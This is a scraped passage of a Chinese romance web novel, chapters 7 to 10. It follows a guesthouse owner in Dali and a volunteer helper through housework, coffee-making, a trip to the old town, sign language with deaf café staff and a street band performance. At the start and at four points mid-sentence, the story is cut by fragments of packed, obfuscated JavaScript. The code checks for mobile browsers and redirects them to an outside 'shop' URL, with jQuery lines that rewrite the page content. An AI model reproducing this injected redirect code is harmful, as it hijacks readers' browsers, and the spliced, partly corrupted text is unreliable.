l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093836|195566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵闻铮听话地快步回到原位。 喻厘撕开包装,把巧克力整块塞进嘴里,也重新低头整理床铺。 村里小卖铺的杂牌巧克力,入口瞬间融化,甜味一直蔓延到嗓子眼里。 她利落地更换完床上用品,刚一直起身,意外发现赵闻铮不见了。 鼓起的被罩下面拢出一个人影,留在床沿外的半截小腿和一双脚动来动去,看得出十分努力了。 不是! 哪有这么套被罩的! 不会种花就算了,连套被子也不会,她现在有理由怀疑赵闻铮是不是谁家十指不沾阳春水的大少爷。 被子下面的人影依旧在拱来拱去。 人在无语到极致的时候就会非常想笑,喻厘忍了又忍才没笑出声。 她走过去,隔着被罩拍了拍。 “啊?怎么了?”赵闻铮问,声音听起来闷闷的。 “出来。” “哦。” 赵闻铮倒退着爬出来,眨巴眼睛看她。 喻厘无奈地长叹了口气:“被子不是这样套的。” “Sorry。” “我没怪你。” “我知道。”赵闻铮又笑起来,露出他那口大白牙:“虽然我不是专业的,但我可以学,你教教我,我学东西很快的。” 没有人会拒绝一个虚心求救的人。 喻厘摆摆手示意他站远点。 赵闻铮后撤半步,让出足够的空间。 只见她站在床尾处,抓住被子两角,胳膊探进被罩里,快速抖动,将两角和被罩对齐,然后再回来对齐另外两个,甩几下,最后弄平整就结束了。 喻厘回过头,本来想问问赵闻铮看明白了吗? 却看他竖起大拇指,一脸赞叹地说:“老板娘,你太厉害了。” 她“嗖”地把脸转了回来。 从小到大不是没有被人夸过,但是喻厘也不清楚自己这次为什么反应这么大。 她想了想,最终把这一切归咎于身后这人太热情了,属于给点阳光就灿烂的类型,她招架不住,以至于都变成条件反射了。 看见她的反应,赵闻铮狐疑地喊了声:“老板娘?” “啊,咳咳!”喻厘清了清嗓子,命令道:“你把枕头和床尾巾摆上吧,我去扫地。动作快点,下午有新客人要来。” “OK。” 赵闻铮其实还是挺有眼力见的,摆完床品后,不用她再吩咐,就自觉承担起擦洗桌子和床头柜的任务。 两人各自忙碌着,房间里暂时安静下来,恢复到喻厘最喜欢的状态。 谁都没有注意到一根接近透明的丝线自房顶垂下,某八脚生物从天而降,降落于地板上后,正在快速移动中。 赵闻铮一抬头,骤然看到那个小半个巴掌大的黑色蜘蛛,直接吓了一跳。 眼见那东西就要跑到喻厘脚边了,他再也顾不得许多,大喊一声:“老板娘!” 而后猛地朝她冲过去。 “duang!” 喻厘又用力碾了两下,这才挪开脚掌,而原本活蹦乱跳的蜘蛛俨然已经变为一滩黑色大饼。 “哎呀!”她忽然惊呼一声。 赵闻铮的心立刻随之一紧。 下一秒就听到喻厘叹了口气,颇为懊恼地说:“我刚拖完的地!” 赵闻铮:“……” 8. 讨教 喻厘后知后觉地回头:“你叫我了?” “啊,是,我……”赵闻铮说话有点语无伦次。 他还没从刚才那一幕里回过神。 谁懂啊,看见喻厘一脚踩死大蜘蛛的震惊程度,不亚于旁观“林黛玉倒拔垂杨柳”。 平时看起来那么安静淡然的一个人,怎么能如此干脆利落。 她不害怕吗? 赵闻铮舔了舔嘴唇,直愣愣地盯着地上的尸体标本。 喻厘若有所感,顺着他的视线低头去看,而后恍然大悟:“你怕这个啊?” “没有……”赵闻铮试图解释:“怕倒是不怕……” 毕竟他经常爬山徒步,能见的生物基本都见过,只不过从来没见人眼睛都不眨一下就干掉一只大号蜘蛛,而且还能面不改色地跟他说话。 喻厘心里已经默认他就是害怕了,转念想到他是北方人,大约没什么机会近距离接触这些东西,所以也能理解。 “南方就是这样,网上不都说广东的老鼠有拖鞋那么大嘛,云南也差不多,而且靠近苍山,蛇虫鼠蚁就多,也算本地特产了。”她难得安慰人。 虽然赵闻铮并不觉得这像是种安慰。 他之前去过广东,拖鞋那么大的老鼠没遇见,但很荣幸地见识到了“广式飞天双马尾”,个头和刚才的蜘蛛比不遑多让。 喻厘揶揄道:“这有什么嘛,你一个大男人还怕它?” 赵闻铮确实称得上“大”字,他是典型的北方人骨架,据她目测起码182,跟阿鹏站在一起时高出半个头。 她指了指两张床中间的矮柜,指挥道:“纸巾递我。” 赵闻铮拿起纸巾盒递过去。 喻厘连抽两三张,叠在一起再对折,然后弯腰把蜘蛛尸体捏起来,团吧团吧丢进垃圾桶。 一转头,发现他还在愣神。 “看我干嘛,继续干活啊。” “哦哦。” 赵闻铮胡乱点两下头,把纸巾盒放回原位,中途不小心将电视遥控器碰掉了。 “……” 喻厘无声叹息。 看他这个样子是真害怕啊。 可别吓出个好歹来。 于是她再次开口:“马上打扫完了,我留下收尾,你把换下来的床上用品拿到布草间去,放架子上就行。” “好。” 赵闻铮抱着东西离开,出门时还顺手带走了一袋垃圾:“老板娘,我走了,有事喊我!” 喻厘摆了摆手示意他快走。 下楼后,赵闻铮本着能多做点算点的精神,把床单之类一口气塞进洗衣机里。 他站在洗衣机前,手掌撑在上面,听着机器运作的“嗡嗡”声,脑中忽然灵光乍现。 老板娘刚才看他的眼神怎么那么像他妈啊…… 这种情况一般出现在他搞砸了某件事后,后面还得跟一句:“你还能揍撒尼?” 所以……他又被嫌弃了? 赵闻铮努力回想,感觉自己也没做错什么,顶多就是被子没套好而已。 应该不至于吧? - 今天的午饭,赵闻铮全程保持安静状态。 安静到喻厘都觉得有点难以适应,连看了他好几眼。 而后者恍然未觉,仍旧一副心不在焉的样子。 喻厘还以为他是受到那只蜘蛛的影响,在心底里暗自嘀咕了句:“胆子也太小吧。” 但这种事情谁都帮不了忙,只能靠他自己缓神了。 “栗子姐。”阿鹏也非常不习惯,用口型无声问:“他怎么了?” 喻厘摇摇头,什么都没说。 还是给他留点面子。 赵闻铮此时此刻还不知道他已经被喻厘定性为“胆小鬼”。 满脑子想的都是自己这两天表现得实在差劲。 他承认,他确实不擅长种花和做家务。 一张桌上三个人,简直各有各的心思。 …… 吃完饭后,喻厘和即将入住的客人确认过到达时间,安心地回房间午睡去了。 忙碌了一上午,真是让人筋疲力尽。 阿鹏躺在窗边的长椅上,同样享受着午后悠闲静谧的时光。 当然,也有人无法安眠。 赵闻铮翻来覆去半天,仍然毫无睡意。 不行,他必须想办法挽救一下他那岌岌可危的形象! 可是具体该怎么办呢? 作为一个母胎单身选手,赵闻铮对此类事件经验为零。 不过没关系,有人经验丰富! 他拿起手机,点进一个备注“Leo”的微信对话框,长指快速敲击屏幕:【兄弟,在吗?有个事儿想问你。】 对面回得倒很快:【大哥,你猜现在巴黎几点?】 赵闻铮扫一眼屏幕左上角的时间,在心里换算了下:【6:17】 Leo:【你还知道才六点多啊,你给我发哪门子消息。】 赵闻铮:【你这个时间又没睡觉。】 Leo:【也是。】 【说吧,什么事儿?】 赵闻铮:【你是怎么让之前那些女生那么快对你有好感的?】 Leo:【靠人格魅力咯。】 紧跟着一条语音甩过来:“不是,你等会儿,你突然问这个干嘛?怎么?你的钢琴开花了?” 赵闻铮听他的声音有点口齿不清,估计又是从哪个酒吧里刚出来。 他直接忽视了好兄弟的调侃,坦然道:【我遇到了一个很喜欢的人,可以说是一见钟情了。】 Leo连喊三声“我艹”,紧跟着大笑了足足二十秒:“没想到我有生之年还能看见你这棵铁树开花,真不容易。” “有照片吗?给我看看。”他说:“我可太好奇了。” 赵闻铮:【没有。】 “切~不给看就算了。” Leo现在知道赵闻铮为什么要问这种问题了。 好兄弟追女孩,他岂有不帮忙的道理。 短暂惊讶过后,Leo将话题拉回正轨:“其实特简单,就是找共同话题。在她们喜欢的东西里面,找到你擅长或者了解的就行啦~~” 说着说着,他的声调直线上扬,最后几个音差点飘到天上去。 赵闻铮听得直皱眉:【你抓紧回家睡觉吧,回头再聊!】 发完这句,他直接关掉锁屏,把手机倒扣在床上,若有所思地看着面前的白墙。 找她喜欢的东西吗? - “哈——” 下午三点,喻厘打着哈欠下楼。 不知道是不是有段时间没干活的缘故,上午才打扫一个客房,她就感觉累得要命。 如果不是因为有新客人要来,估计能直接睡到吃晚饭。 她呆坐了一会儿,感觉还是困,准备去做杯咖啡醒醒神。 刚晃悠到厨房门口,背后忽然传来一声:“老板娘!” “嗯?” 喻厘停下脚步,循声回头,看见赵闻铮正朝自己走过来。 “你要去做什么?”他问。 喻厘上下打量他几眼。 看这状态应当是没事了吧? “冲杯咖啡。”她转身继续往厨房里面走,一边随口道:“你要吗?” 咖啡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093837|195566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 咖啡! 赵闻铮一个健步冲上去,抢在她前面站到咖啡机前:“我帮你吧!” 喻厘现在都有点怕听到他说这句话了。 这人每次一来帮忙,总会发生些意外情况。 赵闻铮看出她眼神中的怀疑,当即表示:“这次是真的,我真的会!” 他有个朋友很喜欢喝咖啡,颇有些研究,他曾经跟着对方学了几回,不说媲美专业选手吧,也算小有所成。 见他实在坚持,喻厘只能点头同意:“行吧。” 得到首肯后,赵闻铮便开始动手制作。 他先磨了豆子冲小半杯黑咖,又去冰箱里倒了杯牛奶打成奶泡。 喻厘一直没走,就斜倚在旁边的台面上看着他弄,直到看见他先稍微倒了些奶泡到咖啡里进行初步融合的时候,心中略微惊讶。 他怎么好像真会啊? 赵闻铮神情专注地盯着手中的杯子。 好不容易找到的机会,这次他一定要争取做到完美。 奶泡不断咖啡液,混合成浅褐色。 他忽而降低拉花缸,手腕快速摆动,差不多九分满的时候,立即拉高,让细流穿过图案中央,收尾! 至此,一个心形就这样出现在眼前。 喻厘是真的被惊讶到了,目光从咖啡向上移,落在赵闻铮脸上:“这么专业!?” “刚刚都跟你说了,我真的会。”他笑着把杯子递过去:“快尝尝味道怎么样。” “好。” 喻厘接过杯子,手抬到嘴边,注意到上面的图案,想着如果自己喝了就会破坏掉了,一时间有些犹豫,于是又掀起眼皮看向对面。 赵闻铮微微颔首示意。 她垂下眼睛,试探地轻轻抿了一口。 牛奶与咖啡的苦涩相中和,使香气更加醇厚浓郁,奶泡的绵密度恰到好处,入口丝滑,余韵回味悠长,层次十分丰富。 “怎么样?”赵闻铮迫不及待地发问,内心有些许紧张。 喻厘点了下头,做出肯定:“很好喝。” 赵闻铮握紧拳头,兴奋地低喝一声:“YES!” 下一秒,他猛然意识到自己失态,赶紧收敛表情,规规矩矩地站好:“你喜欢就行。” 喻厘成功被他的反应逗笑:“至于这么高兴吗?” 见她笑了,赵闻铮也跟着再次笑起来。 四目相对,周围顿时变得格外安静。 喻厘冷不丁察觉出不对劲,但具体哪里怪又说不上来。 她匆忙移开视线,低头小口小口抿着咖啡,以此来掩饰尴尬。 赵闻铮忽然出声打破沉默:“老板娘。” “嗯。” “你笑起来真好看。” “!!!” 喻厘瞬间瞪大眼睛。 接着她又听见赵闻铮说:“其实你应该多笑笑的。” 喻厘只觉得太阳穴突突直跳。 这人长了张嘴一天到晚乱说什么呢!? “哎?栗子姐,阿铮哥,你们怎么都在厨房里?” 阿鹏的声音横插进来,打破几近凝固的空气。 “没什么事,客人马上要到了,我先过去。”喻厘冷声道。 然后把杯子随手搁下到身后,快步离开。 她一路飞奔至大堂,几乎把自己砸进椅子里。 交谈声隐约传来。 喻厘坐在前台后面,感觉脑袋倒是清醒了,就是太阳穴持续不断地在跳。 她用指腹按住揉了揉,但没什么用,仍旧跳得厉害。 以后还是少喝咖啡吧,她想,容易刺激神经。 9. 跟屁虫 阿兰的阿妈经过检查后确认并无大碍,只是右腿膝盖摔得青紫,万幸中的万幸没有伤筋动骨。 她第二天就重新回归岗位,民宿内的生活再次恢复正常运行。 又是一个好天气,众人各自忙着自己的事儿。 喻厘收拾好东西,拎着帆布包下楼时,阿兰正在打扫大堂的卫生,阿鹏蒸的蒸雕梅扣肉香味满院子飘。 赵闻铮则坐在廊下打电话: “嗯,对,还没想好。” “你放一万个心,我保证不会耽误。” “……” 阿兰跟她打招呼:“栗子姐,你要出发啦?” “嗯。” 一声“栗子姐”,赵闻铮立马转移注意力,表面看起来似乎是在打电话,实际心已经走远了。 阿鹏从窗口探出头问:“晚上回来吃吗?” 喻厘想了想,说:“不一定,到时候提前给你打电话。” “好。” 她这是要去哪儿? 赵闻铮在心里琢磨。 电话那头的人半天没等到回应,忍不住催促:“你人呢?” “先这样吧,我有点事儿,回头有时间再聊。”赵闻铮快速说完,然后不等对方反应,直接挂断了电话。 眼看喻厘马上走到大门口,他忙喊了声“老板娘”:“你要去哪儿啊?” 阿鹏替她回答:“今天十五号,栗子姐要去古城。” 去古城还要专门挑日子? 喻厘脚步未停,继续往外走。 赵闻铮来不及细想,赶在她出门前扬声喊道:“老板娘,等我一下!我跟你一起去!” 仔细算算,从他意外闯入民宿到现在也有一个星期了,这还是第一次见喻厘出门。 这么好的独处机会,他当然不能放过。 说起来,自打那天做完咖啡后,老板娘就莫名其妙疏远他了。 虽然不是完全漠视,但确实有意无意地避免和他有什么非必要接触。 比如:她已经连续三天早上没有出来晒太阳了。 也没有坐在大堂看书了。 甚至她已经三天没喝咖啡了。 这不就是在躲着他嘛! 都怪Leo那家伙,净出些馊主意。 难怪他谈了那么多任女朋友,没有一个能维持关系超过仨月。 喻厘终于停下脚步,果断拒绝:“不行。” 放一般人身上,既然被拒绝得如此彻底那肯定就不会再坚持了。 奈何她面对的是赵闻铮。 “老板娘……”他放低姿态,软声道:“我都来了一个星期了,还没好好逛过呢,你就带上我吧。” 那语气听起来真的怪可怜的。 喻厘差一点就心软同意了。 “我的电动车带不了人。”她又搬出一个理由。 “没关系,我可以骑阿鹏的车。” 他回头喊道:“阿鹏!” 只见一把钥匙从厨房的窗口飞出,在半空中划出一道完美的抛物线,最终精准落入赵闻铮手中。 “Thanks。”他道了声谢,快步走向门口,中指勾住钥匙左右摇晃:“走吧,老板娘。” “……” 行吧。 喻厘戴好头盔,跨上自己的小电驴。 正准备出发,赵闻铮又在旁边喊她:“老板娘,这车怎么发动啊?” “电动车你也不会骑?”喻厘问。 赵闻铮实话实话:“我之前没骑过。” 他只骑过摩托车。 喻厘是真的惊呆了。 没想到在如今这个遍地都是小电驴的时代,居然真的有人从来没有骑过。 那他刚才信誓旦旦地说什么可以骑阿鹏的…… 赵闻铮一脸期待的看着她。 喻厘妥协般地叹了口气:“右手车把是电门,往怀里拧就行,其余和自行车一样。” 她不放心地补充一句:“自行车你会骑吧?” 赵闻铮点头:“会。” “那就行了。” 说完,喻厘发动车子,一马当先地冲了出去。 赵闻铮按照她的话尝试了几下。 因为有之前的基础在,他很快便找到节奏,顺利追赶上去,和她保持并排行驶。 余光瞥见闯入视野的人影,喻厘略感意外。 没想到他学东西倒是挺快的。 两人走的这条路和赵闻铮来时不一样,通往的目的地也不同。 十几分钟后,顺利抵达北门。 古城其实是可以骑车进去的,但旺季游客多,不仅交通不便,还容易撞到人。 所以喻厘选择把车停在了门外,走路进去。 找位置停好车后,她刚要把包从车把上拿下来,却被另外一只手抢了先。 “老板娘,我帮你。”赵闻铮笑道。 喻厘扫他一眼,什么都没说。 愿意拎就拎着吧。 相比人气居高不下的人民路和洋人街,北门这边要相对安静许多,更接地气。 喻厘逛古城有一套自己的顺序。 进来后先向右转,不远处就是农贸市场,沿路各种小店和小吃摊,充满烟火气。 “阿叔,要一……”瞥见身边的人影,她忽而一顿:“两瓶玉米汁。” “嬢嬢,两份豆腐。” “两个喜洲粑粑。” “斑斓和椰蓉双拼油条。” “……” 半小时后,两人左手粑粑、右手玉米汁,心满意足地离开菜市场。 一个粑粑下肚,刚好停在一家书店前。 喻厘推门而入。 赵闻铮跟在她身后进去,下意识打量起四周环境。 书店不仅外表看着非常不起眼,内里面积也很小。 不像现在的很多书店那样,为了吸引顾客而装饰得富有时尚小资情调。 这家店的陈设及其简单,洒满阳光的落地窗前随意摆放着几个座位,供人读书喝茶。 书架是最朴实的那种,挤挤挨挨堆满各类书籍,中间过道仅能容下单人通行。 赵闻铮大致扫了一眼,基本上都是人文社科类。 店主人手捧一本书坐在柜台后面,听见动静也只抬眼看了一下,便很快低下头去继续看书。 赵闻铮越来越觉得当初那个强烈推荐他来大理的朋友说的没错。 这是个很有意思的地方。 喻厘穿梭在书架间,轻车熟路地挑好两本书,放到收银台上,曲指轻叩桌面:“结账。” 直至此刻,店主人才放下手里的书起身,一边扫码结账,一边说:“今天都十五号了吗?” 喻厘对她慢半拍的反应早已习惯:“除了书你还能记得什么。” 店主人也不生气,推推鼻梁上的眼镜:“45块。” 喻厘扫码付账,一转头,看见赵闻铮已经撑开帆布袋等着了。 她顺势把新买的书放进去。 “你们一起来的啊。”看着他们的互动,店主人这才后知后觉:“你朋友?之前没见过。” “店里新来的义工。”喻厘说:“走了,你继续看书吧。” 从书店出来后,沿路又进了两家手作店,一家是卖包包和手串的,另一家是具有民族特色的服饰店。 她看了一圈觉得没什么喜欢的,因此就没买。 但是不得不承认,有赵闻铮这个拎包小弟在,她确实轻松不少。 感觉逛得差不多了,喻厘调转方向,拐了个弯走上博爱路,在那里推开一家甜品店的门。 店里很安静,只有机器的运作声。 赵闻铮下意识放轻脚步。 正值午饭时间,店里没有其他客人,两个店员在柜台里面忙碌着。 看到有人进来,忙露出笑脸,点头示意。 喻厘也同样点头回应。 她走上前,隔着玻璃罩点了点,又指指挂在墙上的饮品单。 继而举起双手,手指翻飞,快速笔画着。 店员用手语重复了一遍她的话,得到确定答复后,比了个“OK”的手势。 赵闻铮乍看见她们的交流方式,先是一愣,而后目光落在店员的耳朵上,发现那里挂着一个像蓝牙耳机似的东西,猛地意识到什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093838|195566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。 难怪店里这么安静。 喻厘点完单,回头看向他,问:“你要哪个?” 赵闻铮还在发愣。 见状,喻厘忽然又回忆起那天喝上午茶时的情形,本能以为他是在犹豫。 可以理解,毕竟一块蛋糕加一杯咖啡最少也得四五十,对他这种靠劳动换取食宿而节省旅行花销的人来说并不算便宜了。 想到这里,喻厘赶紧强调:“我请客,就当是你帮忙拎包的报酬。” “啊?” 赵闻铮终于回神,目光茫然。 另一边,店员已经动作利落把喻厘点的东西准备好了。 “你要什么,抓紧说。”她再次催促道。 “哦哦。” 赵闻铮点点头,上前一步。 喻厘端着东西转身离开,走到最近的临窗位置坐下,用勺子挖了一块蛋糕送进嘴里。 店内依旧保持安静,迟迟没听见赵闻铮的声音。 喻厘心下觉得奇怪,结果抬头一看,发现他正站在柜台前跟店员打手语。 虽然动作不如她那样熟练,但意思表达得非常清楚。 不知道说到哪里,赵闻铮忽然转身指了指她所在的方向。 喻厘连忙低下头假装吃甜品。 过了几分钟,赵闻铮在对面落座。 喻厘注意到他手边只有一杯咖啡。 “你就点了这个?”她问。 “嗯。”赵闻铮开玩笑道:“给老板娘省点钱。” “我不差这点。”喻厘说。 赵闻铮笑嘻嘻的:“我知道。” 喻厘没再说话,默默吃蛋糕,偶尔抬头看一眼又快速收回视线。 甜品店再次回到安静状态。 “老板娘。”赵闻铮突然开口:“你是不是有话想跟我说?” 很明显吗? 喻厘动作一顿。 她放下勺子,抿了抿唇,终于问出心中的疑问:“你会手语?” “原来你想问这个啊。”赵闻铮恍然大悟:“学过一部分,普通交流基本没问题。” 喻厘继续问:“怎么想起来学这个?” “之前在特殊学校当过一段时间老师,为了方便和小朋友交流所以才学的。” 他笑道:“不过跟老板娘比起来,我还差得远呢。” 喻厘本以为他会说“兴趣”或者“为了家人朋友”之类的,却没想到是因为这个理由,更没想到他还在特殊学校当过老师,顿时刷新了对他的印象。 不过转念想想又很合理,像是他会做出来的事儿。 她瞬间被勾起了兴趣,好奇道:“那你之前是教什么的?” “音乐。” “……” 给听障儿童上音乐课,这是什么地狱笑话? 真亏得他能想出来。 刚正经不过三分钟就暴露本性了。 喻厘顿时失去兴趣,再次拿起勺子:“你不想说算了。” “没有啊,我说的真是实话。”赵闻铮语气认真道:“都说音乐无国界,既然不受语言限制,那也不应该受到听力的限制,听障人士虽然耳朵听不到,但是他们可以感受啊,通过触摸感知钢琴的震动,从而找到节奏。” 他甚至还举了个例子做论证:“零几年的时候,春晚有个叫‘千手观音’的节目嘛,表演者全部是听障人士,她们就是靠着感受震动代替听觉,最后完成了那么震撼的表演。” “音乐这么美好的东西,不应该因为听不见而被拒之门外。”赵闻铮作出最后总结。 喻厘被他的这番言论震撼到了。 是啊,听不见还可以感受。 无论他曾经的经历是真是假,起码一番话说的有理有据。 她定定地看着坐在对面的人,又一次刷新对他的认识。 赵闻铮见她眸光闪烁,半天没反应,还以为自己又惹她不高兴了。 于是小心翼翼地问:“老板娘?我说错话了吗?” “没有。” 喻厘回过神,扯了扯嘴角,露出一个浅淡的笑容:“走吧,赵老师,我请你吃顿好的。” 10. 刷新了解 时隔三天,老板娘又对他笑了! 赵闻铮心情大好,从甜品店里出来后,甚至感觉连头顶的天空都变得更蓝了。 其实Leo说得还是有道理的,原来是他那天没找准老板娘的兴趣所在。 既然她对这方面感兴趣,那他更要抓紧机会多聊一会儿。 “老板娘,那你呢?你是为什么学的手语?”赵闻铮继续顺着刚才的话题反问道。 “……” 喻厘面色一僵,转瞬恢复正常,含糊道:“随便学的。” 可惜赵闻铮没有那么容易糊弄。 他笑道:“随便都能学得这么好?我不信。” 喻厘不得不再给出一个理由:“和你差不多,也是为了和小朋友交流。” “啊~”赵闻铮继续追问:“你也在特殊学校当过老师吗?” 喻厘开始有点后悔引入这个话题了。 注意到街边有家卖乳扇的,她突然话锋一转:“你吃过烤乳扇吗?” “啊?”话题转换太快,赵闻铮差点没反应过来。 他看了一眼,诚实回答:“没吃过。” “来大理怎么能不吃烤乳扇呢,走,过去尝尝。” 说完,喻厘径直朝着卖乳扇小摊走去。 赵闻铮急忙跟上。 她竖起一根手指,说:“嬢嬢,要一个玫瑰味儿的。” 乳扇其实就是奶制品,将牛奶和酸水混合,蛋白析出成团,然后拉成片状晾干,吃法上或烤或油炸都行。 玫瑰酱算是烤乳扇的经典搭配了。 嬢嬢很快做好,喻厘抬了抬下巴,示意赵闻铮自己拿。 他疑惑地问:“老板娘,你不吃吗?” “我就算了。”喻厘一脸讳深莫测的表情。 赵闻铮不明所以,下意识觉得哪里不对劲。 但是面对她催促的目光,他来不及细想,手比脑子反应更快,立刻送到嘴边咬了一口。 质感有点奶制版牛皮糖。 他对着喻厘笑笑,嚼了两下,瞬间一股发酵味涌上来,又酸又腥。 赵闻铮立刻脸色大变,生理性地“yue”了一声。 喻厘实在没忍住,“噗嗤”笑出声。 他现在终于知道是哪里不对劲了,皱着眉头喊了声:“老板娘!” “咳咳!” 喻厘手握成拳抵在唇边,假意清了清嗓子,将笑意压下去,说:“先声明,我不是故意整你的,乳扇本身确实是大理特产,只是你吃不惯而已。” “我……”赵闻铮刚一开口:“yue!” 喻厘嘴角一阵抽搐,强忍着才没又笑出来。 “行了,扔了吧。” 她一把夺过乳扇,径直走向路边的垃圾箱。 进入到人民路,周围一下子热闹起来,游人如织。 赵闻铮的视线穿过层层人群,始终落在她身上,莫名恍惚。 原来老板娘也有这么活泼的一面。 他隐约有种感觉,两人之间的距离似乎变近了。 喻厘丢完垃圾往前走了几步,察觉人没跟上,回头一看,发现他居然还站在原地发呆。 “想什么呢!走啊。” “来了!” …… 喻厘还记得赵闻铮早上出门前那句“来了一周还没好好逛过”。 于是带他去了一家本地菜馆。 此时已接近下午两点,用餐高峰期差不多快要过去了,他们刚到就有位置空出来了。 赵闻铮感慨今天真是运气好。 在服务员的引导下落座后,喻厘连菜单都没翻开,直接点了几道特色菜,比如:水性杨花汤、酸辣鱼等 力求让他好好体验一下。 从饭店出来已经接近下午三点,喻厘琢磨着差不多该回去了。 正打算给阿鹏打电话,刚拿出手机,赵闻铮却先开口了:“老板娘,那边好热闹,我们也过去看看吧。” 喻厘闻言偏头看过去,确实有好多人涌向同一方向。 “走吧,走吧。”赵闻铮哀求似的商量道:“就看一眼。” “……” 喻厘根本没办法拒绝,只能勉强点头答应。 赵闻铮摇身一变,立马激动起来:“Go,Go,Go!” 一群人围在一起不知道在干嘛,赵闻铮垫脚往人群中央看,不一会儿回过头兴奋地告诉喻厘:“有乐队演出!” 喻厘无法适应这么热闹都场面,本能想要离开。 结果转头发现后面又来了不少人,路完全被堵死了,处于一种既进不去也出不来的尴尬境地。 正当她进退两难的时候,一声清脆的敲击声响起,人群安静了一瞬,接着以刚才成倍的兴奋度躁动起来。 四面八方都是人,喻厘难受得皱了皱眉。 …… 终于熬到一曲结束,人群陆续散去。 喻厘长出一口气,冷声道:“走吧。” “好。”赵闻铮痛快答应。 说看一眼就只看一眼,他是个很守信用的人。 转身往前走了几步,忽然听见背后有人喊:“赵闻铮!?” 两人不约而同地齐齐回头。 就见乐队其中一人放下吉他,直冲而来。 “我没看错吧,还真是你啊!”他一脸激动地喊道。 赵闻铮显然也认出了来人的身份:“李响!你怎么在这里?” “过来演出啊。” 李响转身指指乐队的方向,余下三人朝着这边微微点头示意。 喻厘听着他们的对话,不知道该不该感叹一句:“世界真小……” 居然这样都能遇见熟人。 李响收回视线,这才注意到赵闻铮身边还有其他人。 “这位是?”他问。 “她是……”赵闻铮突然语塞,一时间没想好该怎么介绍。 喻厘自动理解为他可能不希望让朋友知道他在穷游当义工换取食宿,于是抢先道:“朋友。” 赵闻铮蓦地一怔。 老板娘已经把他当朋友了吗? 李响的视线快速扫过他手中明显风格不符的帆布包,露出了然的表情。 这个朋友恐怕不“普通”啊~ “你好。” 他跟喻厘简单打了声招呼,继续道:“真没想到今天会在这儿遇见你,咱们得有四五年没见了吧?” 赵闻铮的思绪回笼,点点头,说:“四年多。” 李响笑着跟喻厘说:“你不知道,以前我们在一起玩乐队的时候,这小子有多受女生欢迎。” 喻厘眼中闪过一丝惊讶,重点却放在了前半句:“他以前还玩过乐队?” 难道他之前说教音乐是真的? “那当然了,他那时候还有个称号叫‘最帅键盘手’,追他的人都能排到三条街外了。” 赵闻铮握拳在他肩上怼了一下,皱眉轻喝道:“别乱说话!” “OK,OK!” 李响连声应着,脸上的笑容更加意味深长。 玩笑够了,他收敛表情,朝身后扬扬下巴,提议说:“怎么样?要不要来一首?” 不提还好,一提,赵闻铮想到刚才现场的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093839|195566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氛围,就感觉心里痒痒的。 “可以吗?” “怎么不行!我去说一声。” 说完,李响直接跑回去,趴在键盘手耳边不知道说了什么,很快招手示意他过去。 “老板娘,你再等我一会儿。” 赵闻铮把包递给她,跃跃欲试地走上前去。 “哎……” 喻厘根本来不及阻止,只得被迫留下。 人群在她身后重新聚拢,空气逐渐沸腾。 又是一声鼓响作为预示。 赵闻铮站在一个类似电子琴的东西后面,神情专注,十指飞速移动,偶尔扭动着前排的按钮,有时又改为单手弹奏,另一只手举过头顶随着节奏前后摇摆。 整个人松弛而又自在。 喻厘平时只是单纯听听歌,对乐队了解甚少。 看着赵闻铮现在的样子,她忽然懂了什么叫做“玩”音乐。 ——让身心和音乐融为一体,借此释放情绪、表达感受。 喻厘觉得他看起来整个人都在发光。 如果说他平时朝气蓬勃的样子像是初升的太阳,那现在就是午后最浓的烈日。 短短半天时间,赵闻铮真是一次又一次刷新了她对他的认知。 这个人远比她想象中更加辽阔和深邃,拥有极其丰富的内涵。 她现在彻底相信他之前说的话了。 人群随着音乐在舞动身体,周遭变成一片沸腾的海洋。 喻厘被热烈的氛围所感染,不知不觉沉浸其中,难得没有感觉厌烦。 一首歌完毕,赵闻铮对着观众举了一躬,大跨步走到喻厘面前。 “怎么样,老板娘,我表现得还不错吧?”他动作自然地从喻厘手中接过包:“走吧。” “还可……” “吱——” 突然,不知道是谁不小心碰到了话筒,劣质音响顿时发出尖锐的嗡鸣声。 喻厘当即脸色大变,秀气的眉毛紧皱在一起。 她抬手捂住左耳,指腹按在耳道口,过了几秒种后才松口气。 赵闻铮关切询问:“老板娘,你还好吧?” 喻厘不动声色地放下胳膊:“我没事,回去了。” 李响在这时凑过来,热情地发出邀请:“你还有事吗?没事的话等会儿一起吃顿饭啊。” 